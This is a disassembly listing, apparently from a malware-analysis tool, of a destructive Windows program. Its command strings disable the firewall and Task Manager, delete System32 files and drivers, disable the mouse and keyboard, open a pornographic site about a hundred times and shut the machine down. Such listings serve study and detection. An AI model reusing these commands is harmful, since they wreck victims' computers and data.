Function at 0x140001070
Capabilities:
Capture network configuration via ipconfig
Execute command
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x100
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xf0], rax
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.msg__Windows_wa_t_ts_corrupted__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.msg__By_vidarasa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.net_stop_MpsSvc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.taskkill__f__t__im_FirewallControlPanel.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.if__errorlevel_1_tskill_FirewallControlPanel
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.netsh_firewall_set_opmode_modedisable
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.rundll32_USER32.DLL_SwapMouseButton
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.DEL_C:WindowsSystem32securityhealthservice.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.DEL_C:WindowsSystem32smartscreen.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.DEL_C:WindowsSystem32sc.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.DEL_C:Program_FilesWindows_Media_Player
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.DEL_C:WindowsSystem32cmd.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.DEL_C:Program_FilesWindows_NT
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.reg_add_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_DisableTaskMgr__t_REG_SZ__d_1__f___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.rundll32_mouse_disable
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.rundll32_keyboard_disable
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.ipconfig__release__vbnewlineif__ERRORLEVEL_1_ipconfig__release_all
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.TASKKILL__F__IM_EXPLORER.EXE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.copy__0__windir_system32ls.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.START_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
mov ebx, 0x3a98
mov edi, ebx
nop word [rax + rax]
lea r9, str.__cat__dev_urandom__tr__dc_a_zA_Z0_9__fold__w_10__head__n_1_
mov edx, 0xc8
lea r8, str.mkdir__p__s
lea rcx, [rsp + 0x20]
call fcn.140001010
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
sub rdi, 1
jne 0x1400012f0
nop
lea r9, str.__cat__dev_urandom__tr__dc_a_zA_Z0_9__fold__w_10__head__n_1_
mov edx, 0xc8
lea r8, str.mkdir__p__Downloads__s
lea rcx, [rsp + 0x20]
call fcn.140001010
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
sub rbx, 1
jne 0x140001320
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.start_https:__xvideos.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.DEL__s__q_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.DEL_C:WindowsSystem32_notepad.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.DEL_C:WindowsSystem32_regedit.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.DEL_C:WindowsSystem32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.del__q__f__s__systemroot_System32Drivers
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.shutdown__s
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
xor eax, eax
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.140001fa0
mov rbx, qword [rsp + 0x110]
add rsp, 0x100
pop rdi
ret